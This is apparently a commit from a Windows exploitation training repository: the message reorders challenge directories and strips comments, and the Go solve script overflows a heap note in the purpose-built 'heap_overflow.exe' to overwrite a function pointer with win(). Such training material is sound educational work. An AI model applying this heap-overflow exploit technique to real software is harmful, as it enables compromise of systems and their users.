Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
79 lines
2.0 KiB
Go
79 lines
2.0 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"strconv"
|
|
"winpwn"
|
|
)
|
|
|
|
func parseAddr(line []byte) (uint64, error) {
|
|
idx := bytes.Index(line, []byte("addr=0x"))
|
|
if idx == -1 {
|
|
return 0, fmt.Errorf("no addr= in %q", line)
|
|
}
|
|
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
|
|
}
|
|
|
|
func main() {
|
|
pf, err := winpwn.OpenPE("heap_overflow.exe")
|
|
if err != nil {
|
|
log.Fatalf("OpenPE: %v", err)
|
|
}
|
|
winRVA, err := pf.GetProcAddress("win")
|
|
if err != nil {
|
|
log.Fatalf("win() not found: %v", err)
|
|
}
|
|
base, err := pf.ImageBase()
|
|
if err != nil {
|
|
log.Fatalf("ImageBase: %v", err)
|
|
}
|
|
winAddr := base + winRVA
|
|
pf.Close()
|
|
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
|
|
|
|
tube, err := winpwn.Spawn("heap_overflow.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
if _, err := tube.RecvLine(); err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
|
|
for _, text := range []string{"A note0", "A note1"} {
|
|
if err := tube.SendLine([]byte(text)); err != nil {
|
|
log.Fatalf("SendLine %s: %v", text, err)
|
|
}
|
|
resp, err := tube.RecvLine()
|
|
if err != nil {
|
|
log.Fatalf("RecvLine: %v", err)
|
|
}
|
|
addr, _ := parseAddr(resp)
|
|
fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
|
|
_ = addr
|
|
}
|
|
|
|
payload := bytes.Repeat([]byte{0x41}, 24)
|
|
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)
|
|
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...)
|
|
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...)
|
|
payload = append(payload, winpwn.P64(winAddr)...)
|
|
|
|
fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
|
|
if err := tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))); err != nil {
|
|
log.Fatalf("SendLine W: %v", err)
|
|
}
|
|
if _, err := tube.RecvLine(); err != nil {
|
|
log.Fatalf("RecvLine W resp: %v", err)
|
|
}
|
|
fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")
|
|
|
|
fmt.Printf("[+] calling C 1...\n")
|
|
if err := tube.SendLine([]byte("C 1")); err != nil {
|
|
log.Fatalf("SendLine C: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|